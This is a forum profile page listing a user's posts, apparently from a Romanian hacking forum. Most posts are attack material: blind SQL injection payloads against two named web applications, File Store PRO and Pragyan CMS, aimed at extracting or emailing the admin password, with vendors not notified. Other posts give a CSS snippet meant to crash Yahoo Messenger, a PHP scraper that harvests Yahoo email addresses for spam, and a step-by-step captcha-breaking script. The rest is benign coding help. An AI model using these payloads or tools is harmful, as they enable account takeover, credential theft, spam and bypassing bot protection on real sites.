Jump to content

vladiii

Active Members
  • Posts

    552
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

vladiii's Achievements

Newbie

Newbie (1/14)

10

Reputation

  1. Daca acela este Internet Explorer_Server... atunci se poate profita de toate vulnerabilitatile IE-ului (cu exceptia celor remote, evident). Nu am incercat, dar codul urmator (salvat in .html si uploadat undeva pe server) ar trebui sa crashuie Y!M: <style>#page div p:first-child:first-letter{border-bottom: 2px ridge;}</style><div id='page'><div> [b]a Marfa !
  2. - Necesita drept de admin. In /confirm.php: $SQL="SELECT `".DB_PREFIX."users`.*, `".DB_PREFIX."file_list`.`filename`, `".DB_PREFIX."file_list`.`descript` "; $SQL.=" FROM `".DB_PREFIX."file_list` LEFT JOIN `".DB_PREFIX."users` ON `".DB_PREFIX."file_list`.`user_id`=`".DB_PREFIX."users`.`id`"; $SQL.=" WHERE `".DB_PREFIX."file_list`.`id`='".$id."'"; if(!$mysql->query($SQL)) { exit($mysql->error); } if($mysql->num<=0) { exit("Record not found"); } Mai sus in cod avem: if(isset($_GET["folder"]) && $_GET["folder"]!="") { $folder=$_GET["folder"]; } else { exit("Bad Request"); } if(isset($_GET["id"]) && $_GET["id"]!="") { $id=$_GET["id"]; } else { exit("Bad Request"); } // Validate all inputs // Added by SepedaTua on June 01, 2006 - [url]http://www.sepedatua.info/[/url] /********************** SepedaTua ****************************/ /* Fields: $folder $id */ $search = array ('@<script[^>]*?>.*?</script>@si', '@<[\/\!]*?[^<>]*?>@si', '@([\r\n])[\s]+@', '@&(quot|#34);@i', '@&(amp|#38);@i', '@&(lt|#60);@i', '@&(gt|#62);@i', '@&(nbsp|#160);@i', '@&(iexcl|#161);@i', '@&(cent|#162);@i', '@&(pound|#163);@i', '@&(copy|#169);@i', '@(\d+);@e'); $replace = array ('', '', '\1', '"', '&', '<', '>', ' ', chr(161), chr(162), chr(163), chr(169), 'chr(\1)'); $ffolder = $folder; $fid = $id; $folder = preg_replace($search, $replace, $folder); $id = preg_replace($search, $replace, $id); Filtrarea este deci de 2 bani... Trecand peste asta, sa vedem tabela cu useri: Create table fstore_users ( id Integer(11) NOT NULL AUTO_INCREMENT, real_name Varchar(128) , company Varchar(128) , address1 Varchar(128) , address2 Varchar(128) , city Varchar(128) , state Varchar(128) , postcode Varchar(128) , country Varchar(128) , telephone Varchar(128) , login Varchar(64) , password Varchar(64) , email Varchar(128) , level Integer(11) , confirm Char(1) DEFAULT 'N' , allow_upload Char(1) DEFAULT 'N' , subscription char(1) default 'N' , Primary Key (id) ); In sintaxa SQL vom avea 19 coloane. *=17 + 1 + 1. Sintaxa va fi: ' UNION SELECT IF (SUBSTRING(password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from fstore_users where login='admin [url]http://site.xxx/confirm.php?folder=a&id=[/url][SQL] Partea frumoasa este ca parolele sunt tinute ca plain text in baza de date. Puteti downloada softul* de aici (versiunea trial, "full" costa 60$): [url]http://webscripts.softpedia.com/script/File-Management-Perl/-1-File-Store-PRO-45963.html[/url] *A aparut acum cateva zile, este nou. Necesita magic_quotes_gpc = off. Nu l-am contactat pe cel care se ocupa cu acest script. Nici la milw0rm nu am trimis. - Nu necesita drept de admin. In /download.php: if(!isset($_GET["sig"])) // direct download, no need to login $MustLogin=1|2|4; require_once("libs/header.php"); if(!isset($_GET["sig"])) // direct download, no need to login $userlevel=$CurUser->getlevel(); $SQL="SELECT * FROM `".DB_PREFIX."file_list` WHERE `id`='".$fileid."'"; if(!$mysql->query($SQL)) { exit($mysql->error); } $fileid este preluat prin $_GET si i se aplica aceeasi filtrare. Sintaxa: ' UNION SELECT IF (SUBSTRING(password, 1, 1)='b', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11 from fstore_users where login='admin [url]http://site.xxx/download.php?id=[/url][SQL] Bafta ! P.S. Scriptul este plin de blind sql injection !
  3. Incearca sa faci asa: <div style="width:100px" id="mndiv" onmouseover="this.innerHTML='text'" onmouseout="this.innerHTML='<img src=\'http://rstcenter.com/forum/templates/titanium_x/images/lang_english/reply.gif\'>'"> [img=http://rstcenter.com/forum/templates/titanium_x/images/lang_english/reply.gif] </div>
  4. In /cms/login.lib: $key = $_GET['key']; $user_email = $_GET['resetPasswd']; $password = rand(); $dbpassword = md5($password); $query = "SELECT * FROM `" . MYSQL_DATABASE_PREFIX . "users` WHERE `user_email`='" . $user_email . "'"; $result = mysql_query($query); Datorita .htaccess, linkul cu parametrul vulnerabil va fi: [url]http://site.xxx/home/+login&subaction=resetPasswd&key=asd&resetPasswd=[/url][SQL] [SQL1] = ' UNION SELECT IF (SUBSTRING(user_password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8 from pragyanV2_users where user_email='adresadeemail@mail.com [SQL2] = ' UNION SELECT IF (SUBSTRING(user_password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8 from pragyanV2_users where user_id='1 [SQL3] = ' UNION SELECT IF (SUBSTRING(user_password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8 from pragyanV2_users where user_name='admin [SQL 4 - versiune sysgh0st [inovatie !]] = ' UNION ALL SELECT 1,2,CONCAT('mail@mail.com;',(SELECT `user_password` FROM `pragyanv2_users` WHERE `user_id`=1),'@',(SELECT `user_name` FROM `pragyanv2_users` WHERE `user_id`=1),'.org'),4,5,6,7,8# Aceasta trimite parola pe email ! NOTA ! Sintaxa functioneaza doar daca magic_quotes_gpc sunt off in php.ini ! In .htaccess avem: ##Enable magic quotes in PHP, in case it is turned off in php.ini php_flag magic_quotes_gpc on Pe un apache acea comanda poate provoca eroare 500 (datorita php_flag) (sunt cazuri in care .htaccess este scos sau chiar sters) si userul (evident ! ) va elimina php_flag_blabla ! Deci conditiile finale ar fi magic_quotes_gpc = off. Bafta !
  5. vladiii

    vand.

    Astia sunt oamenii care duc greul spamului. Ei dau mereu clickuri <?php $pattern = "<a href=id[0-9]{0,10}_[a-zA-Z0-9_\.]{4,50}\.html target=_top>"; for ($i=1; $i<10; $i++) { $site = "http://yahooid.ro/browse.php?search=no&show=1&sex=0&varsta_min=&varsta_max=&localitate=&pag=".$i; $continut = file_get_contents($site); preg_match_all($pattern, $continut, $id, PREG_SET_ORDER); foreach ($id as $val) { $x = explode("_", $val[0]); $nr = count($x); $aux = ""; for ($j=1; $j<$nr; $j++) { $aux = $aux."_".$x[$j]; } $aux = str_replace(".html target=_top", "", $aux); $k=0; $aux2 = "a"; for($f=1; $f<strlen($aux); $f++) { $aux2[$k]=$aux[$f]; $k++; } echo $aux2."@yahoo.com "; } } ?> Nush daca exista vreo metoda mai buna de parsare.. P.S. Daca vreti, va fac eu scriptul + designul la (promotie!) 100euro. P.S.2. MostWanted, cum facusi rost de script ?
  6. Cand vrei sa scrii coduri din astea, dai asa: File -> New -> Source File. Ar trebui sa apara fereastra ms-dos.
  7. Private Sub Command1_Click() Dim final As String final = DateAdd("d", 15, CDate(Text1.Text)) MsgBox final End Sub Vezi ca data trebuie sa fie de forma: luna/zi/an !
  8. hehe, urmeaza o vara luuuunga ! welcome back !
  9. ^ Inclin sa cred ca in acest caz metoda care am folosit-o eu este cea mai buna. Nu avea rost sa ma complic pt. un captcha care nu este foarte greu de spart. Metoda aleasa de tine se foloseste si poate avea rezultate bune, insa in cazul unor captcha'uri mai complicate. Bafta !
  10. In acest tutorial vom invata sa spargem acest tip de captcha. In ce consta el ? - culoarea backgroundului este random - culoarea cifrelor este mereu aceeasi - pozitia cifrelor difera pe X - pozitia cifrelor ramane neschimbata pe Y Ce inseamna sa "spargem un captcha" ? Practic, trebuie sa afisam in format text cifrele din fiecare imagine (evident, sunt random). Sa vedem in continuare codul .php care genereaza imaginile: <?php header('Content-type: image/png'); $img = imagecreate(239, 25); $r = rand(1, 255); $g = rand(1, 255); $b = rand(1, 255); $l1 = rand(0, 4); $l2 = rand(0, 4); $l3 = rand(0, 4); $l4 = rand(0, 4); $l5 = rand(0, 4); $poz1 = rand(0, 48); $poz2 = $poz1 + rand(9, 48); $poz3 = $poz2 + rand(9, 48); $poz4 = $poz3 + rand(9, 48); $poz5 = $poz4 + rand(9, 48); $background = imagecolorallocate($img, $r, $g, $; $culoare = imagecolorallocate($img, 100, 100, 100); imagechar($img, 7, $poz1, 6, $l1, $culoare); imagechar($img, 7, $poz2, 6, $l2, $culoare); imagechar($img, 7, $poz3, 6, $l3, $culoare); imagechar($img, 7, $poz4, 6, $l4, $culoare); imagechar($img, 7, $poz5, 6, $l5, $culoare); imagepng($img); ?> 1) Background - alb, cifre - negru. Primul pas consta in eliminarea culorilor. Backgroundul imaginii va deveni alb, iar cifrele vor avea culoarea neagra. Sa vedem codul php: $img = imagecreatefrompng("http://site.com/captcha/cap1.png"); $alb = imagecolorallocate($img, 255, 255, 255); $negru = imagecolorallocate($img, 0, 0, 0); //Simplificarea imaginii //Background alb //Scris de culoare neagra for ($i=0; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']!=100 && $rgb['green']!=100 && $rgb['blue']!=100) { imagesetpixel($img, $i, $j, $alb); } else { imagesetpixel($img, $i, $j, $negru); } } } //Finished simplificare cap1.png reprezinta imaginea care urmeaza sa fie "sparta". Se observa din cod ca cifrele (care au r, g, b = 100) sunt setate la culoarea neagra, iar restul pixelilor la alb. Acum imaginea este alb-negru. 2) Gasire dreptunghiuri cifre. Cum am spus, cifrele sunt plasate random pe axa oX. Ideea este ca noi trebuie sa impartim imaginea initiala (cea mare/cap1.png) in 5 imagini mai mici, fiecare continand doar o cifra ! Un amanunt foarte important este ca fontul default folosit la functia imagechar() este monospaced (courier din cate stiu), iar orice cifra "scrisa" cu font size=7 poate fi incadrata intr-un dreptunghi de lungime 9. Deci spre exemplu, ca sa gasesc prima cifra, trebuie sa gasesc primul pixel de culoare neagra (cautarea pornind de la stanga la dreapta) si sa ii retin X'ul. Apoi extrag dreptunghiul de la X pana la X+8. Codul PHP: //Gasire dreptunghi prima cifra for ($i=0; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $istart = $i; $ifinal = $i+8; break 2; } } } //Gasire dreptunghi a 2-a cifra for ($i=$ifinal+1; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $iistart = $i; $iifinal = $i+8; break 2; } } } //Gasire dreptunghi a 3-a cifra for ($i=$iifinal+1; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $iiistart = $i; $iiifinal = $i+8; break 2; } } } //Gasire dreptunghi a 4-a cifra for ($i=$iiifinal+1; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $ivstart = $i; $ivfinal = $i+8; break 2; } } } //Gasire dreptunghi a 5-a cifra for ($i=$ivfinal+1; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $vstart = $i; $vfinal = $i+8; break 2; } } } //Finished gasire dreptunghiuri Am gasit ceea ce aveam nevoie (valorile sunt retinute in variabilele $istart, $iistart, $iiistart, $ivstart, $vstart). Acum trebuie sa dam crop la imaginea initiala pentru a extrage exact aceste cifre (pt. asta folosim functia imagecopyresampled -> http://www.php.net/manual/en/function.imagecopyresampled.php ): //Impartire in 5 imagini //Cropuire de la stanga la dreapta $img1=imagecreate(9, 25); $img2=imagecreate(9, 25); $img3=imagecreate(9, 25); $img4=imagecreate(9, 25); $img5=imagecreate(9, 25); imagecopyresampled ($img1, $img, 0, 0, $istart, 0,9, 25, 9, 25); imagecopyresampled ($img2, $img, 0, 0, $iistart, 0,9, 25, 9, 25); imagecopyresampled ($img3, $img, 0, 0, $iiistart, 0,9, 25, 9, 25); imagecopyresampled ($img4, $img, 0, 0, $ivstart, 0,9, 25, 9, 25); imagecopyresampled ($img5, $img, 0, 0, $vstart, 0,9, 25, 9, 25); //Finished cropuire de la stanga la dreapta Din ceea ce se vede mai sus, cifrele sunt salvate in imagini de 9x25. Sa le vedem: 3) Compararea imaginilor. Acum ca am obtinuit imaginile care contin cifrele (0, 1, 2, 3, 4), le salvam pe server pentru a face comparatii mai tarziu. Ca sa le putem folosi in scriptul php, trebuie sa folosim urmatorul cod: $cif[0] = imagecreatefrompng("cifre/0.png"); $cif[1] = imagecreatefrompng("cifre/1.png"); $cif[2] = imagecreatefrompng("cifre/2.png"); $cif[3] = imagecreatefrompng("cifre/3.png"); $cif[4] = imagecreatefrompng("cifre/4.png"); Ce ne mai ramane de facut ? Sa comparam pixelii lui $img1, $img2, $img3, $img4, $img5 cu fiecare dintre $cif[0], $cif[1], $cif[2], $cif[3], $cif[4], pe rand. Daca $img1 coincide cu $cif[2], atunci cifra corespunzatoare este 2. //Functie comparare imagini function comparare($imagine12, $cifra12) { $true = 0; for ($i=0; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixelx = imagecolorat($imagine12, $i, $j); $pixely = imagecolorat($cifra12, $i, $j); if ($pixelx != $pixely) { //Difera un pixel $true = 1; break 2; } } } return $true; } //End functie //Comparari imagini & stuff //Daca returneaza 0, imaginile sunt identice //Daca returneaza 1, imaginile sunt diferite //Si trecem sa comparam cu urmatoarea for ($x=0; $x<=4; $x++) { $value=comparare($img1, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } for ($x=0; $x<=4; $x++) { $value=comparare($img2, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } for ($x=0; $x<=4; $x++) { $value=comparare($img3, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } for ($x=0; $x<=4; $x++) { $value=comparare($img4, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } for ($x=0; $x<=4; $x++) { $value=comparare($img5, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } Asta e tot. Ati reusit sa spargeti un captcha ! Felicitari
  11. Postasem mai demult un cod*: #!/usr/local/bin/perl -w require LWP::UserAgent; my $ua = LWP::UserAgent->new; $ua->timeout(10); $ua->env_proxy; open (MYFILE, '< proxy.txt'); while (<MYFILE>) { chomp; $proxy = "$_"; $ua->proxy(['http'],'http://$proxy'); $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5'); my $response = $ua->get('http://site.com'); if ($response->is_success) { if ($response =~/cuvant cheie/) { print "$proxy -> good\n"; } else { print "$proxy -> not good\n"; } } else { print "$proxy -> not good\n"; } } close (MYFILE); *netestat ! In proxy.txt sunt proxyurile (fiecare pe cate un rand), site.com trebuie inlocuit cu linkul vostru de la colectionarul si "cuvant cheie" cu un cuvant oarecare prezent in sursa paginii respective. Bafta !
  12. Deci este vorba la execute sau la compilare ? Ca nu am priceput. Daca te referi la prima varianta si nu iti merge Beep (e posibil, deoarece Beep genereaza sunetele folosind difuzorul din unitatea centrala, care poate fi stricat, ars, mai stiu eu ce...) atunci incearca sndPlaySound (care foloseste boxele, castile, etc.): #include <windows.h> int main() { sndPlaySound("C:\\pacpac.wav", SND_LOOP); return 0; } *Trebuie sa ai pacpac.wav salvat pe C:\. In plus, apasa Alt+P, selecteaza Parameters si adauga -lwinmm la Linker -> Ok. Ar trebui sa mearga.
  13. ^ Ma refeream ca pentru o imagine de 150x150 obtin 22500 pixeli, fiecare cu o anumita culoare. As fi putut compara si bit cu bit, insa mi s-a parut mai marfa pixel cu pixel. Plus de asta e mai educativ.
×
×
  • Create New...